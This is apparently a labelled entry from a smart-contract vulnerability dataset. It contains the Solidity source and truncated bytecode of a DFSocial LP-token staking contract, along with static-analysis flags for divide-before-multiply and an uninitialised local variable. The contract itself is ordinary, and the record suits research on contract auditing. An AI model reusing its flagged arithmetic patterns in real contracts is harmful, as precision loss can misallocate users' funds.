c305898131a50902b0789baf26c30ca48bb6f9b9a220029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,657 |
0x1fa1365f9b65f8c81c7e0c2ee0ecf35c8703691f | /**
*Submitted for verification at Etherscan.io on 2021-01-01
*/
pragma solidity >=0.7.5;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract DFSocial_Farming1 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
// Uniswap ETH/DFSocial LP token contract address
address public constant LPtokenAddress = 0xbeFeAa0335D842B31053b091d5e2BA5d6A696DbE;
//DFSocial token address
address public constant tokenAddress = 0x54ee01beB60E745329E6a8711Ad2D6cb213e38d7;
uint public constant withdrawFeePercentX100 = 50;
uint public constant disburseAmount = 30e18;
uint public constant disburseDuration = 7 days;
uint public disbursePercentX100 = 10000;
uint public lastDisburseTime;
constructor() {
lastDisburseTime = block.timestamp;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
function addContractBalance(uint amount) public onlyOwner {
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function emergencyWithdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
lastClaimedTime[msg.sender] = block.timestamp;
lastDivPoints[msg.sender] = totalDivPoints;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
}
function disburseTokens() public onlyOwner {
uint amount = getPendingDisbursement();
// uint contractBalance = Token(tokenAddress).balanceOf(address(this));
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0) return;
distributeDivs(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = block.timestamp;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = block.timestamp.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
/* function to allow owner to claim *other* ERC20 tokens sent to this contract.
Owner cannot recover unclaimed tokens (they are burnt)
*/
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
// require(_tokenAddr != tokenAddress && _tokenAddr != LPtokenAddress, "Cannot send out reward tokens or LP tokens!");
require(_tokenAddr != LPtokenAddress, "Admin cannot transfer out LP tokens from this vault!");
require(_tokenAddr != tokenAddress , "Admin cannot Transfer out Reward Tokens from this vault!");
Token(_tokenAddr).transfer(_to, _amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80638da5cb5b11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b146107e8578063f3f91fa01461082c578063f9da7db814610884578063fe547f72146108b8576101da565b8063c326bf4f14610736578063d1b965f31461078e578063d578ceab146107ac578063e027c61f146107ca576101da565b806398896d10116100de57806398896d101461065e5780639d76ea58146106b6578063ac51de8d146106ea578063b6b55f2514610708576101da565b80638da5cb5b146105ee5780638e20a1d9146106225780638f5705be14610640576101da565b806346c648731161017c57806365ca78be1161014b57806365ca78be146105265780636a395ccb146105445780637e1c0c09146105b25780638b7afe2e146105d0576101da565b806346c648731461043e5780634e71d92d146104965780635312ea8e146104a05780636270cd18146104ce576101da565b80631f04461c116101b85780631f04461c1461036c5780632e1a7d4d146103c4578063308feec3146103f2578063452b4cfc14610410576101da565b806305447d25146101df5780630813cc8f146103445780630c9a0c781461034e575b600080fd5b610215600480360360408110156101f557600080fd5b8101908080359060200190929190803590602001909291905050506108d6565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b83811015610264578082015181840152602081019050610249565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102a657808201518184015260208101905061028b565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102e85780820151818401526020810190506102cd565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561032a57808201518184015260208101905061030f565b505050509050019850505050505050505060405180910390f35b61034c610bef565b005b610356610ca1565b6040518082815260200191505060405180910390f35b6103ae6004803603602081101561038257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca7565b6040518082815260200191505060405180910390f35b6103f0600480360360208110156103da57600080fd5b8101908080359060200190929190505050610cbf565b005b6103fa611173565b6040518082815260200191505060405180910390f35b61043c6004803603602081101561042657600080fd5b8101908080359060200190929190505050611184565b005b6104806004803603602081101561045457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061134a565b6040518082815260200191505060405180910390f35b61049e611362565b005b6104cc600480360360208110156104b657600080fd5b810190808035906020019092919050505061136d565b005b610510600480360360208110156104e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118a2565b6040518082815260200191505060405180910390f35b61052e6118ba565b6040518082815260200191505060405180910390f35b6105b06004803603606081101561055a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118c0565b005b6105ba611afc565b6040518082815260200191505060405180910390f35b6105d8611b02565b6040518082815260200191505060405180910390f35b6105f6611b08565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61062a611b2c565b6040518082815260200191505060405180910390f35b610648611b32565b6040518082815260200191505060405180910390f35b6106a06004803603602081101561067457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b39565b6040518082815260200191505060405180910390f35b6106be611c80565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106f2611c98565b6040518082815260200191505060405180910390f35b6107346004803603602081101561071e57600080fd5b8101908080359060200190929190505050611d17565b005b6107786004803603602081101561074c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061200b565b6040518082815260200191505060405180910390f35b610796612023565b6040518082815260200191505060405180910390f35b6107b4612028565b6040518082815260200191505060405180910390f35b6107d261202e565b6040518082815260200191505060405180910390f35b61082a600480360360208110156107fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612034565b005b61086e6004803603602081101561084257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612183565b6040518082815260200191505060405180910390f35b61088c61219b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108c06121b3565b6040518082815260200191505060405180910390f35b6060806060808486106108e857600080fd5b60006108fd87876121c090919063ffffffff16565b905060008167ffffffffffffffff8111801561091857600080fd5b506040519080825280602002602001820160405280156109475781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111801561096357600080fd5b506040519080825280602002602001820160405280156109925781602001602082028036833780820191505090505b50905060008367ffffffffffffffff811180156109ae57600080fd5b506040519080825280602002602001820160405280156109dd5781602001602082028036833780820191505090505b50905060008467ffffffffffffffff811180156109f957600080fd5b50604051908082528060200260200182016040528015610a285781602001602082028036833780820191505090505b50905060008b90505b8a811015610bd4576000610a4f8260046121d790919063ffffffff16565b90506000610a668e846121c090919063ffffffff16565b905081878281518110610a7557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610afb57fe5b602002602001018181525050600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610b5357fe5b602002602001018181525050600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610bab57fe5b6020026020010181815250505050610bcd6001826121f190919063ffffffff16565b9050610a31565b50838383839850985098509850505050505092959194509250565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c4757600080fd5b6000610c51611c98565b905080600c541015610c6357600c5490505b6000811415610c725750610c9f565b610c7b8161220d565b610c9081600c546121c090919063ffffffff16565b600c8190555042600281905550505b565b60015481565b600a6020528060005260406000206000915090505481565b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b610d7d3361229b565b6000610da7612710610d9960328561257790919063ffffffff16565b6125a690919063ffffffff16565b90506000610dbe82846121c090919063ffffffff16565b905073befeaa0335d842b31053b091d5e2ba5d6a696dbe73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e6557600080fd5b505af1158015610e79573d6000803e3d6000fd5b505050506040513d6020811015610e8f57600080fd5b8101908080519060200190929190505050610f12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b73befeaa0335d842b31053b091d5e2ba5d6a696dbe73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f9757600080fd5b505af1158015610fab573d6000803e3d6000fd5b505050506040513d6020811015610fc157600080fd5b8101908080519060200190929190505050611044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61109683600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c090919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110ee83600e546121c090919063ffffffff16565b600e819055506111083360046125bf90919063ffffffff16565b801561115357506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561116e5761116c3360046125ef90919063ffffffff16565b505b505050565b600061117f600461261f565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111dc57600080fd5b7354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561127f57600080fd5b505af1158015611293573d6000803e3d6000fd5b505050506040513d60208110156112a957600080fd5b810190808051906020019092919050505061132c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f74206164642062616c616e6365210000000000000000000000000081525060200191505060405180910390fd5b61134181600c546121f190919063ffffffff16565b600c8190555050565b60076020528060005260406000206000915090505481565b61136b3361229b565b565b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611422576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b42600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006114d66127106114c860328561257790919063ffffffff16565b6125a690919063ffffffff16565b905060006114ed82846121c090919063ffffffff16565b905073befeaa0335d842b31053b091d5e2ba5d6a696dbe73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561159457600080fd5b505af11580156115a8573d6000803e3d6000fd5b505050506040513d60208110156115be57600080fd5b8101908080519060200190929190505050611641576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b73befeaa0335d842b31053b091d5e2ba5d6a696dbe73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156116c657600080fd5b505af11580156116da573d6000803e3d6000fd5b505050506040513d60208110156116f057600080fd5b8101908080519060200190929190505050611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6117c583600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c090919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061181d83600e546121c090919063ffffffff16565b600e819055506118373360046125bf90919063ffffffff16565b801561188257506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561189d5761189b3360046125ef90919063ffffffff16565b505b505050565b60096020528060005260406000206000915090505481565b600b5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461191857600080fd5b73befeaa0335d842b31053b091d5e2ba5d6a696dbe73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806128ce6034913960400191505060405180910390fd5b7354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806128966038913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611abb57600080fd5b505af1158015611acf573d6000803e3d6000fd5b505050506040513d6020811015611ae557600080fd5b810190808051906020019092919050505050505050565b600e5481565b600c5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b62093a8081565b6000611b4f8260046125bf90919063ffffffff16565b611b5c5760009050611c7b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bad5760009050611c7b565b6000611c03600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d546121c090919063ffffffff16565b90506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611c72600f54611c64858561257790919063ffffffff16565b6125a690919063ffffffff16565b90508093505050505b919050565b7354ee01beb60e745329e6a8711ad2d6cb213e38d781565b600080611cb0600254426121c090919063ffffffff16565b90506000611d0d612710611cff62093a80611cf186611ce36001546801a055690d9db8000061257790919063ffffffff16565b61257790919063ffffffff16565b6125a690919063ffffffff16565b6125a690919063ffffffff16565b9050809250505090565b60008111611d8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b611d963361229b565b73befeaa0335d842b31053b091d5e2ba5d6a696dbe73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611e3957600080fd5b505af1158015611e4d573d6000803e3d6000fd5b505050506040513d6020811015611e6357600080fd5b8101908080519060200190929190505050611ee6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611f3881600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f190919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f9081600e546121f190919063ffffffff16565b600e81905550611faa3360046125bf90919063ffffffff16565b61200857611fc233600461263490919063ffffffff16565b5042600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b60066020528060005260406000206000915090505481565b603281565b60035481565b60025481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461208c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120c657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915090505481565b73befeaa0335d842b31053b091d5e2ba5d6a696dbe81565b6801a055690d9db8000081565b6000828211156121cc57fe5b818303905092915050565b60006121e68360000183612664565b60001c905092915050565b60008082840190508381101561220357fe5b8091505092915050565b6000600e54141561221d57612298565b61225a612249600e5461223b600f548561257790919063ffffffff16565b6125a690919063ffffffff16565b600d546121f190919063ffffffff16565b600d819055507f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a825816040518082815260200191505060405180910390a15b50565b60006122a682611b39565b905060008111156124e9577354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561233657600080fd5b505af115801561234a573d6000803e3d6000fd5b505050506040513d602081101561236057600080fd5b81019080805190602001909291905050506123e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61243581600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f190919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061248d816003546121f190919063ffffffff16565b6003819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600a60008473fffffffffffffffffffffff